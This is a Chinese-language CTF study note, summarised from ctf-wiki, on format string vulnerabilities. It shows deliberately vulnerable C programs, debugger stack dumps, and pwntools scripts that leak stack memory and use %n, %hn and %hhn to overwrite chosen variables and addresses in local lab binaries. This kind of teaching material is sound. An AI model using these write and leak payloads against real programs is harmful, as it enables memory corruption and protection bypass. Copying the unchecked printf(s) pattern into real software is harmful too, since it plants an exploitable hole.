格式化字符串漏洞基础利用¶
阅读 ctf-wiki 后总结
泄露内存¶
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
- 获取某个变量的值
- 获取某个变量对应地址的内存
- 泄露任意地址内存
- 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
- 盲打,dump 整个程序,获取有用信息。
简单的泄露栈内存¶
例如,给定如下程序
#include <stdio.h>
# file:leakmemory.c
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s); //格式化字符串漏洞
return 0;
}
32 位程序使用的是栈传参,64 位系统前 7 个参数是用寄存器传参。32 位程序可以直接利用格式化字符串泄露出存在栈上的参数。(64 位要对应调整)
编译 32 位程序:
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
输入输出如下:
>>>%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xffffcd10.0xc2.0xf7e8b6bb
栈情况:
────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%08x.%08x.%08x"
# 开始泄露位置
0xffffcd04│+0x08: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x" ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"
泄露任意地址内存¶
上面已经实现依次获取栈中的每个参数,通过像下面这样构造,直接获取指定为位置的参数:
# 第n个参数
%n$p
只要知道目标数据在栈上的偏移 n ,就能够获取。
小总结¶
会用来泄露什么¶
理论上任何栈上数据都能被泄露出来,目前遇到过的有以下这些:
- Canary
泄露出 Canary 的值,从而绕过 Canary 保护。
- text 段地址
泄露出 text 段的真实地址,从而绕过 PIE 对于 text 段的保护,为 ROP 实现提供基础。
- libc 函数地址
泄露 libc 函数地址,获取 libc base addr 。这里也可以用来是绕过 PIE 保护,但泄露 libc 地址意义不止于此。
- 某些变量
有些题目会有 if 判断输入值等是否与预先设定的值相等,以此增加难度。
关键字选择¶
- 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
- 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
- 利用 %orderx 来获取指定参数的值,利用 %orders 来获取指定参数对应地址的内容。
覆盖内存¶
覆盖内存使用的 %n
和 %c
配合实现。
- c
简单点来说就是产生几个 null 字符。
- n
不输出字符,但将成功输出的字符个数写入对应的整型指针参数所指的变量。
写入的时候也有多种方式:
- n:int
- hn:short int 写入双字节
- hhn:char int 写入单字节
给出如下的程序来介绍相应的部分(32位):
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
覆盖任意地址¶
覆盖小数字¶
这里以将 a 覆盖为 2 为例。需要将覆盖的目标地址后置,因为机器字长为 4 (64 位是 8)。
构造字符串如下:
aa%k$nxx[addr]
aa
两个可见字符,所以最后会向目标地址写入 2 。k
目标地址的偏移位置。xx
让字符串对其机器字长,这里是 4 。[addr]
覆盖的目标地址。
怎么对齐¶
对齐方法在 32 64 程序中,覆盖大数字、小数字中都通用,以上面这个为例。python 使用 len 计算长度后,用机器字长取余,余数就是对齐长度。
# 32位机器字长:4
# 64位机器字长:8
>>> len("aa%k$n")%4
2
第一个可控字符偏移是 6 ,aa%k$nxx
长度为 8 (不会算就 python len),所以 k 偏移应该是 8 。
构造覆盖小数字利用代码:
def fora():
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
对应的结果如下
>>>python exploit.py
0xffc1729c
aaaa$\xa0\x0modified a for a small number.
覆盖大数字¶
覆盖基本结构和上面差不多,区别是通常是覆盖大数字会分次覆盖,避免一下数据太大而不成功,所以会用到标志 hhn
或 hn
。
还是使用上面例题,写入的目标地址为 0x0804A028 。使用单字节写入(hhn),写入值为 0x12345678
。变量是小端序存储,也在内存中是这样的:\x78\x56\x34\x12
,简单点就是从右向左覆盖。
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
为了与覆盖小数字统一,避免计算地址占用字长,将地址放置在字符串末尾,得出以下框架:
# 格式化字符串
payload="%xc%y$hhn%xc%y$hhn%xc%y$hhn%xc%y$hhn"
# 目标地址
payload += p32(0x0804A028)+p32(0x0804A028+1)+p32(0x0804A028+2)+p32(0x0804A028+3)
x
控制输出多少个 null 字符。y
写入地址的偏移量。
手工计算 c 生成字符数¶
写入顺序为:0x78、0x56、0x34、0x12
需要写入0x78,已经存储0x0字符
0x78=120
x1=120
---
需要写入0x56,已经存储0x78字符
0x156溢出单字节上限,忽略进位,存储0x56
0x156-0x78=222
x2=222
---
需要写入0x34,已经存储0x156字符
0x234溢出单字节上限,忽略进位,存储0x34
0x234-0x156=222
x3=222
---
需要写入0x12,已经存储0x234字符
0x312溢出单字节上限,忽略进位,存储0x12
0x312-0x234=222
x4=222
---
得到结果:payload="%120c%y$hhn%222c%y$hhn%222c%y$hhn%222c%y$hhn"
,长度是 44 ,预估地址偏移是两位数字,再进行一下修改,计算对齐长度为 0 ,最后 payload 为:
payload="%120c%18$hhn%222c%19$hhn%222c%20$hhn%222c%21$hhn"
payload += p32(0x0804A028)+p32(0x0804A028+1)+p32(0x0804A028+2)+p32(0x0804A028+3)
覆盖栈内存¶
确定覆盖地址¶
覆盖那里内容都好,覆盖地址肯定要明确的,覆盖栈上变量也是需要的。变量地址一般会存放在栈上,我们就需要找到栈存放这个变量地址的偏移。
确定相对偏移¶
调试在 printf 打断点:
────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7 → <main+76> add esp, 0x10 ← $esp
0xffffcd10│+0x04: 0xffffcd28 → "%d%d"
0xffffcd14│+0x08: 0xffffcd8c → 0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e → 0xffff0000 → 0x00000000
0xffffcd24│+0x18: 0xffffce4c → 0xffffd07a → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d" ← $eax
在 0xffffcd14 处存储着变量 c 的地址。偏移量为 6 。
进行覆盖¶
这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下
[addr of c]%012d%6$n
addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。
具体脚本如下
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
forc()
结果如下
➜ overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.